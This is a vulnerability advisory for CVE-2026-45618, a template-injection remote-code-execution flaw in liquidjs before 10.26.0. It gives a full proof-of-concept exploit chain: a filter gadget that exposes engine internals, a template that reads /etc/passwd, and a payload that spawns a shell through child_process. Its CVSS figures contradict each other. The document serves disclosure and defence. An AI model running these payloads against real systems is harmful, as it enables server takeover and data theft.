CVE-2026-45618
ADVISORY - githubSummary
Summary
It is possible to execute arbitrary code with crafted templates
Details
`1|valueOf` -> `this` when evaluating the filter{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}
${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}
{{m == "/etc/passwd"}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
import { Liquid } from "liquidjs";
const engine = new Liquid();
engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}
{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
const filepath = yield this.loader.lookup(file, type, sync, currentFile)
return this.parse(yield this.readFile(!!sync, filepath), filepath)
}
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}
${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}
${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}
{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}
{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}
{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}
{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}
{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
Impact
What kind of vulnerability is it? Who is impacted? Remote Code Execution.
Common Weakness Enumeration (CWE)
Improper Control of Generation of Code ('Code Injection')
GitHub
3.9
CVSS SCORE
10critical| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| liquidjs | npm | - | - | <10.26.0 | 10.26.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.